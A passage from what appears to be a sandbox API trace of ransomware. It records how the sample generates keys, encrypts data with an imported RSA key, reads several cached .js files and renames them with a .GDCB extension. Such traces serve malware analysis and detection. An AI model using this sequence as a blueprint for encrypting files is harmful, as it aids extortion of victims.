settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\3c99c1b4[1].js.gdcb")) returned 1 [0251.281] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.284] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.286] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.286] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.286] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.286] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.288] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.290] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.290] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.290] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.290] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.293] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781308) returned 1 [0251.293] CryptGetKeyParam (in: hKey=0x6781308, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.293] CryptEncrypt (in: hKey=0x6781308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.293] GetLastError () returned 0x0 [0251.293] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.293] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0251.296] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781608) returned 1 [0251.296] CryptGetKeyParam (in: hKey=0x6781608, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.296] CryptEncrypt (in: hKey=0x6781608, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.297] GetLastError () returned 0x0 [0251.297] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.297] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\3e533cad[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\3e533cad[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.298] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.301] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.303] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0xb5c0, lpOverlapped=0x0) returned 1 [0251.312] VirtualAlloc (lpAddress=0x0, dwSize=0xb5c0, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.318] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\3e533cad[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\3e533cad[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\3e533cad[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\3e533cad[1].js.gdcb")) returned 1 [0251.322] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.325] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.326] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.327] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.327] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.327] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0251.329] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.331] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.331] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.331] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.331] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.333] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67816c8) returned 1 [0251.334] CryptGetKeyParam (in: hKey=0x67816c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.334] CryptEncrypt (in: hKey=0x67816c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.334] GetLastError () returned 0x0 [0251.334] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.334] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.336] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67810c8) returned 1 [0251.336] CryptGetKeyParam (in: hKey=0x67810c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.336] CryptEncrypt (in: hKey=0x67810c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.336] GetLastError () returned 0x0 [0251.336] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.336] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\4b55922b[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\4b55922b[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.337] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.339] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.342] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x25de0, lpOverlapped=0x0) returned 1 [0251.351] VirtualAlloc (lpAddress=0x0, dwSize=0x25de0, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.360] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\4b55922b[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\4b55922b[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\4b55922b[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\4b55922b[1].js.gdcb")) returned 1 [0251.364] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0251.367] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.369] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.369] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.369] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.369] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.371] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.373] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.374] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.374] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.374] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.376] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781748) returned 1 [0251.376] CryptGetKeyParam (in: hKey=0x6781748, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.376] CryptEncrypt (in: hKey=0x6781748, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.376] GetLastError () returned 0x0 [0251.376] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.376] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0251.378] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67813c8) returned 1 [0251.378] CryptGetKeyParam (in: hKey=0x67813c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.378] CryptEncrypt (in: hKey=0x67813c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.378] GetLastError () returned 0x0 [0251.378] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.378] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\613fadbe[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\613fadbe[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.380] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.382] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.384] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x21b80, lpOverlapped=0x0) returned 1 [0251.392] VirtualAlloc (lpAddress=0x0, dwSize=0x21b80, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.401] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\613fadbe[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\613fadbe[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\613fadbe[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\613fadbe[1].js.gdcb")) returned 1 [0251.404] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.407] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.409] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.409] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.409] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.409] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0251.413] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.415] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.415] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.415] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.415] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.418] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781088) returned 1 [0251.418] CryptGetKeyParam (in: hKey=0x6781088, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.418] CryptEncrypt (in: hKey=0x6781088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.418] GetLastError () returned 0x0 [0251.418] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.418] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.420] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781508) returned 1 [0251.420] CryptGetKeyParam (in: hKey=0x6781508, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.420] CryptEncrypt (in: hKey=0x6781508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.420] GetLastError () returned 0x0 [0251.420] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.420] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\69d5af3a[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\69d5af3a[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.421] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.424] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.426] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0xc3e0, lpOverlapped=0x0) returned 1 [0251.435] VirtualAlloc (lpAddress=0x0, dwSize=0xc3e0, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.442] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\69d5af3a[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\69d5af3a[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\69d5af3a[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\69d5af3a[1].js.gdcb")) returned 1 [0251.445] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0251.448] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.450] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.450] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.450] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.450] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0251.453] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.455] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.456] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.456] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.456] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0251.458] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781108) returned 1 [0251.458] CryptGetKeyParam (in: hKey=0x6781108, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.458] CryptEncrypt (in: hKey=0x6781108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.459] GetLastError () returned 0x0 [0251.459] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.459] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0251.460] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781548) returned 1 [0251.461] CryptGetKeyParam (in: hKey=0x6781548, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.461] CryptEncrypt (in: hKey=0x6781548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.461] GetLastError () returned 0x0 [0251.461] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.461] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8590ff3b[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8590ff3b[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.462] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.465] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.502] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x84100, lpOverlapped=0x0) returned 1 [0251.512] VirtualAlloc (lpAddress=0x0, dwSize=0x84100, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0251.530] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8590ff3b[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8590ff3b[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8590ff3b[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8590ff3b[1].js.gdcb")) returned 1 